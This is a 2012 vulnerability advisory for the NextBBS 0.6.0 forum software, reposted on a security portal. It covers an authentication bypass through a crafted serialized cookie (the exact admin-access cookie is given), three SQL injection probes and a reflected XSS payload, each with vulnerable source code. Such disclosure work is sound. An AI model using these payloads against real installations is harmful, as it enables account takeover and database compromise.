Waraxe IT Security Portal
Login or Register
July 16, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 64
Members: 0
Total: 64
Full disclosure
CVE-2024-33326
CVE-2024-33327
CVE-2024-33328
CVE-2024-33329
CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100
SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice
SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products
Novel DoS Vulnerability Affecting WebRTC Media Servers
APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8
40 vulnerabilities in Toshiba Multi-Function Printers
17 vulnerabilities in Sharp Multi-Function Printers
SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise)
SEC Consult SA-20240620-0 :: Arbitrary File Upload in edu-sharing (metaVentis GmbH)
Zip Slip meets Artifactory: A Bug Bounty Story
Backdoor.Win32.Plugx / Insecure Permissions
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other software -> [waraxe-2012-SA#080] - Multiple Vulnerabilities in NextBBS
Post new topicReply to topic View previous topic :: View next topic
[waraxe-2012-SA#080] - Multiple Vulnerabilities in NextBBS
PostPosted: Tue Mar 27, 2012 6:54 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




[waraxe-2012-SA#080] - Multiple Vulnerabilities in NextBBS 0.6.0

Author: Janek Vind "waraxe"
Date: 27. March 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-80.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

nextBBS lets you create your own Community with unrivaled ease of use.
Even though the software is highly performant, it doesn't lack any feature
that makes big boards attractive. In fact, it offers the most "Web 2.0"
experience currently available.

http://sourceforge.net/projects/forums/

Vulnerable versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected is NextBBS version 0.6.0, older versions may be vulnerable
as well.

###############################################################################
1. Authentication Bypass in "user.php"
###############################################################################

Reason: using unsanitized user submitted data
Attack vector: user submitted cookie
Preconditions: none
Result: attacker can impersonate any user, including admins

Source code snippet from vulnerable script "user.php":
-----------------[ source code start ]---------------------------------
// Cookie?
if(isset($_COOKIE[$CONFIG->sessions->name]) || isset($_SESSION[$CONFIG->sessions->name]))
{
...
if(isset($_COOKIE[$CONFIG->sessions->name]))
{
$scookie = $_COOKIE[$CONFIG->sessions->name];
...
$cookie = unserialize(stripslashes($scookie));
...
$checkagainst = $this->generatePrivateKey($row['password']);
if($checkagainst == $cookie['userkey'])
{
$_SESSION['ID'] = $uid;
$this->setMember($_SESSION['ID']);
-----------------[ source code end ]-----------------------------------

As seen above, user submitted cookie will be unserialized and resulting
data is used for authentication. No input data validation exists.
Attacker can use specially crafted cookie, so that after unserializing
variable "$cookie['userkey']" will be boolean "true".
Comparing as "if($checkagainst == $cookie['userkey'])" is insecure and will
always return "true", if "$cookie['userkey']" is boolean "true".
This will allow complete authentication bypass.

Test:

Array after serialization:
a:3:{s:3:"uid";s:4:"1219";s:7:"checker";s:1:"1";s:7:"userkey";b:1;}
After urlencoding:
a%3A3%3A%7Bs%3A3%3A%22uid%22%3Bs%3A4%3A%221219%22%3Bs%3A7%3A%22checker%22%3Bs%3A1%3A%221%22%3Bs%3A7%3A%22userkey%22%3Bb%3A1%3B%7D
Cookie:
nextBBS=a%3A3%3A%7Bs%3A3%3A%22uid%22%3Bs%3A4%3A%221219%22%3Bs%3A7%3A%22checker%22%3Bs%3A1%3A%221%22%3Bs%3A7%3A%22userkey%22%3Bb%3A1%3B%7D;


Now we will use Firefox with "Tamper Data" extension for easy cookie manipulation.
Let's open page in unauthenticated state and with crafted cookie:

http://localhost/nextbbs.0.6.0/

Result: "Welcome back, waraxe. (Log out?) (Admin CP)"

We have admin level access now, as expected.

###############################################################################
2. SQL Injection in "ajaxserver.php" function "findUsers"
###############################################################################

Reason: using unsanitized user submitted data in SQL queries
Attack vector: user submitted GET parameter "curstr"
Preconditions: none
Result: attacker can manipulate database queries

Source code snippet from vulnerable script "ajaxserver.php":
-----------------[ source code start ]---------------------------------
function findUsers($method)
{
global $INPUT, $CONFIG, $DB;

$filter = urldecode($INPUT['curstr']);
$retstr = '';
$qry = "SELECT userid FROM {$CONFIG->dbprfx}users
WHERE server='{$CONFIG->server}' AND userid like '".$filter."%'";
$res = $DB->query($qry);
-----------------[ source code end ]-----------------------------------

As seen above, user submitted GET parameter "curstr" is urldecoded and
afterwards used in SQL query without proper sanitization. By using urlencoded
single quotes it is possible to conduct SQL injection atttacks.

Test:

http://localhost/nextbbs.0.6.0/?do=ajaxserver&action=findusers&curstr=war%2527axe

Result:

SQL Layer Error: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use
near 'axe%'' at line 1
Query [SELECT userid FROM bb_users WHERE server='1' AND userid like 'war'axe%']


###############################################################################
3. SQL Injection in "ajaxserver.php" function "isIdAvailable"
###############################################################################

Reason: using unsanitized user submitted data in SQL queries
Attack vector: user submitted GET parameter "id"
Preconditions: none
Result: attacker can manipulate database queries

Source code snippet from vulnerable script "ajaxserver.php":
-----------------[ source code start ]---------------------------------
function isIdAvailable($method)
{
global $INPUT, $CONFIG, $DB;

$filter = urldecode($INPUT['id']);
$qry = "SELECT COUNT(*) as c FROM {$CONFIG->dbprfx}users
WHERE server='{$CONFIG->server}' AND userid ='".$filter."'";
$res = $DB->query($qry);
-----------------[ source code end ]-----------------------------------

As seen above, user submitted GET parameter "id" is urldecoded and
afterwards used in SQL query without proper sanitization. By using urlencoded
single quotes it is possible to conduct SQL injection atttacks.

Test:

http://localhost/nextbbs.0.6.0/?do=ajaxserver&action=isidavailable&id=war%2527axe

Result:

SQL Layer Error: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use
near 'axe'' at line 1
Query [SELECT COUNT(*) as c FROM bb_users WHERE server='1' AND userid ='war'axe']


###############################################################################
4. SQL Injection in "ajaxserver.php" function "getGreetings"
###############################################################################

Reason: using unsanitized user submitted data in SQL queries
Attack vector: user submitted GET parameter "username"
Preconditions: none
Result: attacker can manipulate database queries

Source code snippet from vulnerable script "ajaxserver.php":
-----------------[ source code start ]---------------------------------
function getGreetings($method)
{
global $INPUT, $CONFIG, $DB;

$username = urldecode($INPUT['username']);
$qry = "SELECT text FROM {$CONFIG->dbprfx}greetings g JOIN
{$CONFIG->dbprfx}users u ON (g.dest_id=u.user_ID)
WHERE g.server='{$CONFIG->server}' AND
u.userid='{$username}' AND g.folder_id='1'";
$res = $DB->query($qry);
-----------------[ source code end ]-----------------------------------

As seen above, user submitted GET parameter "username" is urldecoded and
afterwards used in SQL query without proper sanitization. By using urlencoded
single quotes it is possible to conduct SQL injection atttacks.

Test:

http://localhost/nextbbs.0.6.0/?do=ajaxserver&action=getgreetings&username=war%2527axe

Result:

SQL Layer Error: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use
near 'axe' AND g.folder_id='1'' at line 1
Query [SELECT text FROM bb_greetings g JOIN bb_users u ON (g.dest_id=u.user_ID)
WHERE g.server='1' AND u.userid='war'axe' AND g.folder_id='1']


###############################################################################
5. Reflected XSS in anti-hack measures
###############################################################################

Reason: using unsanitized user submitted data in outputted html
Attack vector: user submitted URI
Remarks: XSS payload max length is limited

Test:

http://localhost/nextbbs.0.6.0/index.php?do=<body+onload=alert(document.cookie);>

Response page shows warning:

"Note: A hack attempt was detected.
It is being logged and reported to the admin along with your IP address:"

At the same time XSS payload execution can be observed.


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------
View user's profile Send private message Send e-mail Visit poster's website
[waraxe-2012-SA#080] - Multiple Vulnerabilities in NextBBS
www.waraxe.us Forum Index -> All other software
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.127 Seconds